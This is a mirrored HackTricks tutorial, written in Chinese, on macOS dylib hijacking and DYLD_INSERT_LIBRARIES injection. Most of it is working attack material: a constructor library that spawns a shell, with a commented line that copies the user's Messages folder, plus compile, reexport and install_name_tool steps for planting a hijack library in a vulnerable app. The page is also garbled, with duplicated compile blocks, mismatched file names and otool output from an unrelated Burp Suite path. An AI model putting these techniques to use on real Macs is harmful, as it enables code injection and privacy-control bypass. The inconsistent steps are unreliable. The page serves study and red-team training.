mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
203 lines
7.2 KiB
Markdown
203 lines
7.2 KiB
Markdown
# macOS Dyld 劫持 & DYLD\_INSERT\_LIBRARIES
|
||
|
||
<details>
|
||
|
||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||
|
||
支持 HackTricks 的其他方式:
|
||
|
||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
## DYLD\_INSERT\_LIBRARIES 基本示例
|
||
|
||
**要注入的库** 以执行 shell:
|
||
```c
|
||
// gcc -dynamiclib -o inject.dylib inject.c
|
||
|
||
#include <syslog.h>
|
||
#include <stdio.h>
|
||
#include <unistd.h>
|
||
#include <stdlib.h>
|
||
__attribute__((constructor))
|
||
|
||
void myconstructor(int argc, const char **argv)
|
||
{
|
||
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
||
printf("[+] dylib injected in %s\n", argv[0]);
|
||
execv("/bin/bash", 0);
|
||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||
}
|
||
```
|
||
攻击目标二进制:
|
||
```c
|
||
// gcc hello.c -o hello
|
||
#include <stdio.h>
|
||
|
||
int main()
|
||
{
|
||
printf("Hello, World!\n");
|
||
return 0;
|
||
}
|
||
```
|
||
注入:
|
||
```bash
|
||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||
```
|
||
## Dyld 劫持示例
|
||
|
||
目标易受攻击的二进制文件是 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`。
|
||
|
||
{% tabs %}
|
||
{% tab title="entitlements" %}
|
||
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
||
</strong></code></pre>
|
||
{% endtab %}
|
||
|
||
{% tab title="LC_RPATH" %}
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
# Check where are the @rpath locations
|
||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
||
cmd LC_RPATH
|
||
cmdsize 32
|
||
path @loader_path/. (offset 12)
|
||
--
|
||
cmd LC_RPATH
|
||
cmdsize 32
|
||
path @loader_path/../lib2 (offset 12)
|
||
```
|
||
{% endcode %}
|
||
{% endtab %}
|
||
|
||
{% tab title="@rpath" %}
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
# Check librareis loaded using @rapth and the used versions
|
||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
||
name @rpath/lib.dylib (offset 24)
|
||
time stamp 2 Thu Jan 1 01:00:02 1970
|
||
current version 1.0.0
|
||
compatibility version 1.0.0
|
||
# Check the versions
|
||
```
|
||
{% endcode %}
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
根据前面的信息,我们知道它**没有检查加载库的签名**,并且它**尝试从以下位置加载库**:
|
||
|
||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||
|
||
然而,第一个不存在:
|
||
```bash
|
||
pwd
|
||
/Applications/VulnDyld.app
|
||
|
||
find ./ -name lib.dylib
|
||
./Contents/Resources/lib2/lib.dylib
|
||
```
|
||
因此,可以劫持它!创建一个库,**执行一些任意代码并导出与合法库相同的功能**,通过重新导出它。并记得使用预期的版本来编译它:
|
||
|
||
{% code title="lib.m" %}
|
||
```objectivec
|
||
#import <Foundation/Foundation.h>
|
||
|
||
__attribute__((constructor))
|
||
void custom(int argc, const char **argv) {
|
||
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||
}
|
||
```
|
||
```bash
|
||
gcc -dynamiclib -o libhijack.dylib libhijack.c -undefined suppress -flat_namespace
|
||
```
|
||
|
||
{% endcode %}
|
||
|
||
编译它:
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
gcc -dynamiclib -o libhijack.dylib libhijack.c -undefined suppress -flat_namespace
|
||
```
|
||
|
||
{% endcode %}
|
||
```bash
|
||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||
# Note the versions and the reexport
|
||
```
|
||
{% endcode %}
|
||
|
||
在库中创建的重新导出路径是相对于加载器的,让我们将其更改为库的绝对路径以进行导出:
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
#Check relative
|
||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||
cmd LC_REEXPORT_DYLIB
|
||
cmdsize 48
|
||
name @rpath/libjli.dylib (offset 24)
|
||
|
||
#Change the location of the library absolute to absolute path
|
||
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
|
||
|
||
# Check again
|
||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||
cmd LC_REEXPORT_DYLIB
|
||
cmdsize 128
|
||
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
||
```
|
||
```bash
|
||
cp /tmp/evil.dylib /path/to/hijacked/location/
|
||
```
|
||
{% endcode %}
|
||
|
||
最后,将其复制到**劫持位置**:
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
cp /tmp/evil.dylib /path/to/hijacked/location/
|
||
```
|
||
{% endcode %}
|
||
```bash
|
||
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||
```
|
||
{% endcode %}
|
||
|
||
执行二进制文件并检查**库是否已加载**:
|
||
|
||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib 在 /Applications/VulnDyld.app/Contents/Resources/lib/binary 中被劫持
|
||
</strong>用法:[...]
|
||
</code></pre>
|
||
|
||
{% hint style="info" %}
|
||
关于如何利用这个漏洞来滥用 Telegram 的摄像头权限的详细文章可以在[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)找到。
|
||
{% endhint %}
|
||
|
||
## 更大规模
|
||
|
||
如果你计划尝试在意外的二进制文件中注入库,你可以检查事件消息以找出库何时在进程中加载(在这种情况下,移除 printf 和 `/bin/bash` 执行)。
|
||
```bash
|
||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>零基础学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享您的黑客技巧**。
|
||
|
||
</details>
|